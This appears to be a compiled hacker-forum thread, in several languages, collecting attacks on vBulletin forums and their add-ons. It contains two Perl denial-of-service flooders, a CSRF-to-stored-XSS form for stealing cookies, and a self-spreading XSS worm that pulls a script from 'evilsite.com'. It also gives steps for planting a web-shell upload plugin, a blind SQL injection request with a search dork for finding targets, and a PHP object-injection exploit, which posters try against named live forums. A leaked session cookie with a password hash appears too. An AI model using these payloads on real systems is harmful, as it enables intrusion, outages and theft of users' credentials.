Vbulletin Password Brute Force ############################################################ ## Author: M4k3 ## ## Script-Version: 1.0.2b ## ## Script-Name: vb_tool.php ## ## Copyright: pldsecurity.de / .com /pldsoft.com ## ## ## ## Comment: Next Version coming soon, check ## ## pldsecurity.com for Updates ## ############################################################ Download: http://rapidshare.com/files/130741356/Vbulletin_Password_Brute_Force.rar
vBulletin PhotoPost vBGallery v2.x Remote File Upload vBulletin PhotoPost vBGallery v2.x Remote File Upload http://milw0rm.com/exploits/6082 Некорректная проверка расширения загружаемого файла позволяет залить вебшелл.
Ajax Reg+XSS Маленьки баг у хаке Ajax Reg суд в что при установленом этом хаком при регастраци можно выводить html тэги без слэша (/)....и ешо в плагине найден пассивный хсс.. 1.Любой версия Vbulletin 2.Ajax Reg v.3.06 http://xaknets.h18.ru/AjaxReg.rar 3.Примые Руки Вывод 1.Пишем в поля логина при регах <b>BAG тоест получайем это жирный шрифт. _http://xaknets.h18.ru/images/1.bmp 2.Тепер как обычно курсив <i>BaG получайем это. _http://xaknets.h18.ru/images/2.bmp 3.Черкныти <u>BaG _http://xaknets.h18.ru/images/3.bmp 4.Тепер самы Главное) ВЫводим вот это Получайем вот это)) _http://xaknets.h18.ru/images/4.bmp вот и все XSS УЯЗВИМОСТЬ http://indimoviez.com/forums/ajax.php?do=CheckUsername¶m="><script>alert("ANTICHAT")</script>
Vbulletin Doser Code: #!"c:\perl\bin\perl.exe" use Socket; if (@ARGV < 2) { &usage; } $rand=rand(10); $host = $ARGV[0]; $dir = $ARGV[1]; $host =~ s/(http:\/\/)//eg; for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++) { $user="h4x0r".$rand.$i; $data = "s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now"; $len = length $data; $foo = "POST ".$dir."search.php HTTP/1.1\r\n". "Accept: */*\r\n". "Accept-Language: en-gb\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Accept-Encoding: gzip, deflate\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n". "Host: $host\r\n". "Content-Length: $len\r\n". "Connection: Keep-Alive\r\n". "Cache-Control: no-cache\r\n\r\n". "$data"; my $port = "80"; my $proto = getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto); connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo; send(SOCKET,"$foo", 0); syswrite STDOUT, "|" ; } print "\n\n"; system('ping $host'); sub usage { print "\tusage: \n"; print "\t$0 <host> </dir/>\n"; print "\tex: $0 127.0.0.1 /forum/\n"; print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n"; print "\~rippers~ team\n"; print "\twww.~rippers~.org\n\n"; exit(); };
vBulletin Version: 3.6.8 Patch Level x Code: ############################################################### Autor: NBBN Founded: 5, January 2008 vBulletin Version: 3.6.8 Patch Level x and possible lower Type: XSRF/XSS Risk: Medium ############################################################### ##Explanation(english)## My english is bad, but I try :-) . vBulletin 3.6.8 is XSRF vulnurable. Administrators can use html in there own usertitle. An attacker can update the profile of an administrator by sending a link to a site with a code like this: <html> <head></head> <body onLoad=javascript:document.form.submit()> <form action="http://domain.tld/[path]/vBulletin/profile.php?do=updateprofile" method="POST" name="form"> <input type="hidden" name="s" value=""> <input type="hidden" name="do" value="updateprofile"> <input type="hidden" name="customtext" value="###########XSS CODE#########"> <!-- Attacker's XSS Code --> <input type="hidden" name="month" value="-1"> <input type="hidden" name="day" value="-1"> <input type="hidden" name="year" value=""> <input type="hidden" name="oldbirthday" value=""> <input type="hidden" name="showbirthday" value="2"> <input type="hidden" name="homepage" value=""> <input type="hidden" name="icq" value=""> <input type="hidden" name="aim" value=""> <input type="hidden" name="msn" value=""> <input type="hidden" name="yahoo" value=""> <input type="hidden" name="skype" value=""> </form> </body> </html> Code: If an attacker send a link in a pm for example, to the admin with a site like the example code, the admin's usertitle updating and have a the code of the attacker.The code executing if the admin have a post done in a thread etc. An attacker can use this to steal the cookie of all user's who are reading the thread. ##Explanation(Deutsch/German)##: In vBulletin 3.6.8 gibt es eine XSRF Lücke, die dazu benutzt werden kann, um XSS Code auszuführen. Admins können in ihren eigenen Benutzerrang HTML Code verwenden. Das kann ein Angreifer ausnutzen um beliebigen html/javascript code auszuführen, wenn er den oben stehenden code in eine Seite packt und dann dem Admin eine Private Nachricht sendet, mit einem Link zu einer Seite mit dem obigen HTML-Code. Somit ist es dem Angreifer möglich, alle Cookies von den Benutzern zu klauen, die gerade einen Thread lesen,in welchem ein Administrator gepostet hat.
Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4 Active XSS vBulletin <= 3.7.2 L2, 3.6.10 L4 _http://securityvulns.ru/Udocument391.html Активка в всплывающем уведомлении о новом входящем ПМ. "Show New Private Message Notification Pop-up" у юзера должно быть включено. В теме ПМ сообщения: HTML: --></script><script>alert(/xss/)</script><!--
Vbulletin Plugin ChatBox Xss Vulnerability Code: ####################################### Vbulletin Plugin ChatBox Xss Vulnerability # Discovered By Alemin_Krali# [email protected] # www.al3m.blogspot.com # Greetz : BeyazKurt,Kerem125,Cr@zy_King,Ercu_145,Abo Mohammed (Net Devil)# High Risk Vulnerability! Xss Working!######################################note:You login site and xss try. Ex: http://www.localhost/misc.php?do=ccarc&cbt=xss Example Site: http://www.megaturks.net/forum/misc.php?do=ccarc&cbt=xss and cookie XSS acigi bulunan site=> www.megaturks.net — 16.08.2008 22:01 de kayit edilmistir. IP Adresi: 78.163.55.84 (whois)Cookies: bblastvisit=1218911541; bblastactivity=0; bbforum_view=fcef3869fbbf346863082895ed158bd5de6700a1a-2-{i-170_i-1218911557_i- 158_i-1218911699_};bbpassword: 7750c66b19631528799b516d65de5ef1;bbuserid=9524;bbthread_lastview=f0d6496e44c2b0af 6b488fb24676aca245e8e60aa-1-{i-11619_i-1218911714_} this big lammer center:) a bugs life! ########################################### Source: http://securityvulns.com/Udocument371.html
vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit Code: /* ----------------------------- * Author = Mx * Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm * Software = vBulletin * Addon = Visitor Messages * Version = 3.7.3 * Attack = XSS/XSRF - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included + with the visitor messages addon (a clone of a social network wall/comment area). - When posting XSS, the data is run through htmlentities(); before being displayed + to the general public/forum members. However, when posting a new message, - a new notification is sent to the commentee. The commenter posts a XSS vector such as + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available + and I have included an example worm that makes the user post a new thread with your own - specified subject and message. * Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject * of the attack method. * ----------------------------- */ function getNewHttpObject() { var objType = false; try { objType = new ActiveXObject('Msxml2.XMLHTTP'); } catch(e) { try { objType = new ActiveXObject('Microsoft.XMLHTTP'); } catch(e) { objType = new XMLHttpRequest(); } } return objType; } function getAXAH(url){ var theHttpRequest = getNewHttpObject(); theHttpRequest.onreadystatechange = function() {processAXAH();}; theHttpRequest.open("GET", url); theHttpRequest.send(false); function processAXAH(){ if (theHttpRequest.readyState == 4) { if (theHttpRequest.status == 200) { var str = theHttpRequest.responseText; var secloc = str.indexOf('var SECURITYTOKEN = "'); var sectok = str.substring(21+secloc,secloc+51+21); var posloc = str.indexOf('posthash" value="'); var postok = str.substring(17+posloc,posloc+32+17); var subject = 'subject text'; var message = 'message text'; postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4'); } } } } function postAXAH(url, params) { var theHttpRequest = getNewHttpObject(); theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);}; theHttpRequest.open("POST", url); theHttpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2'); theHttpRequest.send(params); function processAXAHr(elementContainer){ if (theHttpRequest.readyState == 4) { if (theHttpRequest.status == 200) { } } } } getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5'); document.write('<iframe src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">'); # milw0rm.com [2008-11-20] http://milw0rm.com/exploits/7174
HTML & XSS Code ExecutionВыполнение произвольного HTML и XSS кода. Должен быть установлен файл adminwarn.php, путь и права доступа к нему. 1. Заходим на http://site.com/forum/adminwarn.php?do=addstart&id=123456 Где 123456 - ID сообщения, где будет исполнятся код. Текст предупреждения: Code: <script>alert('mailbrush H@CK3R')</script> Потом заходим в тему, где есть сообщения, на ID которого мы ставили предупреждение, и видим алерт. Также можно вписать в Текст предупреждения, любой HTML код. © mailbrush
HTML & XSS Code Execution x2 Что необходимо? а) Доступ в админку б) Прямые руки, соображение, минимальное знание инета и хтмл. Как работает? Уязвимость заключается в том, что поле "Заголовок" не фильтруется. Начинаем Заходим: Админка - Поля профиля участника - Добавить поле в профиле пользователя. (либо просто http://site.com/admincp/profilefield.php?do=add). Там выбираем: Тип поля профиля - Текстовое поле одной строчкой. Кликаем Далее. В поле заголовок вводим: Code: <script>alert('mailbrush H@CK3R)</script> Кликаем Сохранить. После этого заходим: а) Админка - Поля профиля участника - Управление полями профиля пользователя. (либо просто http://site.com/admincp/profilefield.php?do=modifycats) Потом выбираем наш Редактировать около нашего <script>alert('mailbrush H@CK3R)</script> (либо просто http://site.com/admincp/profilefield.php?do=edit&profilefieldid=xx, где xx - уникальный ИД, который присвоился полю после добавления), и вуаля - у нас алерт. b) Панель Управления - Личные Данные (либо просто http://site.com/profile.php?do=editprofile), и вуаля - у нас алерт. © mailbrush
3.0.8 и Last Из серии давно забыли: vBulletin <= 3.0.8 Accessible Database Backup Searcher exploits last.php Файл 'last.php' является модулем стороннего разработчика. Стандартный дистрибутив приложения неуязвим.
vBulletin® Version 3.8.2 Denial of Service Exploit Code: #!usr/bin/perl #vBulletin® Version 3.8.2 Denial of Service Exploit #ea$y Laster ######################################################################## # Modules # ######################################################################## use IO::SOCKET; # Object interface # ######################################################################## if (@ARGV<1){ print" ######################################################################## ## _ _ _ _ ## ##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_ ## ##| _| -_| .'| |___| | | _| -_| _| | -_| _| ## ##|_| |___|__,|_|_|_| |_|_|_|_| |___|_| |_|_|___|_| ## ## ## ######################################################################## ######################################################################## ## ## ## ##->vBulletin® Version 3.8.2<- ## ## ## ## ## ##Gebe diese Daten an ## ## ##1.Ziel ##[*] www.Ziel.com ## ##2.Board ##[*] vbulletin ## ##3.Verwundbarkeit ##[*] forumdisplay.php?f= ## ##4.Zeit des vorganges ##[*] 9999999999999999 ## ##5.Port ##[*] 80 ## ######################################################################## \a";} $block = " ########################################################################"; $fehler = "Fehler!Fehler!Fehler!Fehler"; $x =0; print"$block\n"; print q(Ziel->); chomp($ziel =<STDIN>); if ($ziel eq""){ die "$fehler\a\n";} print"$block\n"; print"$block\n"; print q(Path->); chomp($path =<STDIN>); if ($path eq "") { die "$fehler !\a\n";} print"$block\n"; print"$block\n"; print "Verwundbarkeit\n"; print"forumdisplay.php?f=\n"; print"->"n; chomp($vul =<STDIN>); if ($vul eq "") { die "$fehler !\a\n";} print"$block\n"; print"$block\n"; print q(Time->); chomp($flood =<STDIN>); if ($flood eq "") { die "$fehler !\a\n";} print"$block\n"; print"$block\n"; print q(Port->); chomp($port =<STDIN>); if ($port eq ""){ die "$fehler \n";} print"$block\n"; print q(Send "start"->); chomp($start =<STDIN>); if ($start eq "") { die "$fehler\n";} print "$block\a\n"; print "[+]Konntroliere Daten \n"; print "[*]Kontroliere Ziel : $ziel\n"; print "[*]Kontroliere Board : $path\n"; print "[*]Kontroliere Port : $port\n"; print "$block\n"; if($start == 1){ while($x != 0000){ $x++;} }elsif ($start == start){ while($x != $flood) { $postit = "$ziel"."$path"."$vul"; $lrg = length $postit; $sock = new IO::Socket::INET ( PeerAddr => "$ziel", PeerPort => "$port", Proto => "tcp", ); print $sock "POST $path$vul HTTP/1.1\n"; print $sock "Host: $ziel\n"; print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"; print $sock "Referer: $ziel\n"; print $sock "Accept-Language: en-us\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n"; print $sock "Content-Length: $lrg\n\n"; print $sock "$postit\n"; close($sock); syswrite STDOUT, "->BLACKOUT<-"; $x++; } }else{ die "Fehler kann nicht zum Ziel verbinden $ziel !\n"; }
Заливаем шелл[любая версия] Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем: Code: $target_path = "images/avatars"; //ваша директория, главное что бы чмод 777 стоял $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file ". basename( $_FILES['uploadedfile']['name']). " has been uploaded"; } else{ echo "There was an error uploading the file"; } Устанавливаем плагин как активный, сохраняемся, и видим ошибку "No input File Specified". Все нормально. Далее нам нужно место для загрузки: Code: <form enctype="multipart/form-data" action="ajax.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="100000" /> Choose a file to upload: <input name="uploadedfile" type="file" /><br /> <input type="hidden" name="s" value="$session[sessionhash]" /> <input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" /> <input type="submit" value="Upload File" /> </form> Вставляем везде где разрешен хтмл, или редактируем шаблон и загружаем наш шелл)
Injection И новый баг с мнениями в vBulletin. Баг пашет везде где установлен хак с мнениями, он заключен в редактированием post запроса. Пример - http://www.doneckforum.com/opinion.php. Что бы заюзать баг, нужно врубить tamper data, включить перехватку данных, затем нажать на форуме кнопку записать и затем вмешаться в запрос. Поле value отвечает за оценку которую Вы ставите, затем вводите туда любое число и жмете ок, опа мнение засчиталось! Этоже поле вообще не фильтруется, и там можно провести инъекцию типа Code: (if(substring(@@version,1,1)=5,777,666)) Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).. баг нашел лично сам, жду спасибок.
Blind - SQL Injection Opinion System <= 1.4.3 Тип: SQL - Инъекция Автор: mailbrush Мод (хак): Opinion System <= 1.4.3 О моде: http://www.vbsupport.org/forum/showthread.php?p=272151 Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "value" в файле opinion.php и позволяет удалённому пользователю внедрить SQL - команды в запрос к базе данных. Уязвимый код: opinion.php PHP: $value = $_POST[value]; ... //пишем мнение в базу $vbulletin->db->query_write(" INSERT INTO " . TABLE_PREFIX . "opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory".$modyfied1.") VALUES ($opinionid, $fromuserid, $touserid, $value, $dateline, '".$vbulletin->db->escape_string($comment)."', $autofill, $history, $forcehistory".$modyfied2.") "); Эксплуатация: Для эксплуатации уязвимости необходимо следующее: Форум vBulletin. Установленный мод Opinion System <= 1.4.3. Зарегистрированный аккаунт на форуме. Отправляем запрос: Code: POST /[COLOR=Red][path][/COLOR]/opinion.php HTTP/1.1 Host: [COLOR=Red][host][/COLOR] Cookie: [COLOR=Red][cookie][/COLOR] Connection: Keep-Alive Content-Length: [COLOR=Red][content-length][/COLOR] Content-Type: application/x-www-form-urlencoded do=postvote&securitytoken=[COLOR=Red][token][/COLOR]&touserid=[COLOR=Red][touserid][/COLOR]&fromuserid=[COLOR=Red][fromuserid][/COLOR]&uop=0&username=[COLOR=Red][username][/COLOR]&comment=[COLOR=Red][comment][/COLOR]&value=[B][COLOR=Red][SQL][/COLOR][/B] Code: [COLOR=Red][path][/COLOR] - путь к корню форума. [COLOR=Red][host][/COLOR] - хост. [COLOR=Red][cookie][/COLOR] - куки. [COLOR=Red][content-length][/COLOR] - длина POST-запроса. [COLOR=Red][token][/COLOR] - securitytoken (не во всех форумах надо указывать). [COLOR=Red][touserid][/COLOR] - ID пользователя, которому ставим оценку. [COLOR=Red][fromuserid][/COLOR] - ваш ID. [COLOR=Red][username][/COLOR] - имя пользователя, которому ставим оценку. [COLOR=Red][comment][/COLOR] - комментарий к оценке. [B][COLOR=Red][SQL][/COLOR][/B] - SQL - запрос. В базу данных пойдет запрос вида Code: INSERT INTO prefix_opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory) VALUES ([COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [B][COLOR=Red][SQL][/COLOR][/B], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR], [COLOR=Gray][DATA][/COLOR]) Соответственно вместо [SQL] можно подставить запрос вида Code: (if(substring(@@version,1,1)=5,777,666)) Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя). Дорк: Code: vbulletin inurl:opinion.php
VBulletin nulled <= 3.8.1 Arbitrary Function Execution includes/class_core.php@3124: PHP: class vB_Shutdown { /* ... */ function __destruct() { if (!empty($this->shutdown)) { foreach ($this->shutdown AS $key => $funcname) { $funcname(); unset($this->shutdown[$key]); } } } } forumdisplay.php@165: PHP: if ($vbulletin->GPC['postvars'] != '') { if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false) { $temp = unserialize($check); /* ... */ } } includes/functions.php@2211: PHP: function verify_client_string($string, $extra_entropy = '') { /* ... */ $firstpart = substr($string, 0, 40); $return = substr($string, 40); $decode = false; /* ... */ if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart) { return ($decode ? base64_decode($return) : $return); } return false; } В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения. Эксплоит для выполнения phpinfo(): Code: /forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}} Если непонятно как это работает, прошу сюда: http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
Потестил немного - на двух форумах фильтрации нет, но почему-то phpinfo() не отображается. Получаю лишь раскрытие путей. Вот пример с хеки)) Code: http://forum.xeka.ru/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}} Имеем: Code: Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169 З.Ы. Вот ещё мегаприватфорум: Code: http://boff.ws/forum/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}} phpinfo() опять-таки не выполнилась, вот что пишет: Code: 1||1259872978||||||||Error Opening Logfile.
В первом примере наверно стоит suhosin patch, который не допускает выполнение деструктора после Fatal Error. Насчет второго, ошибка вообще небулковская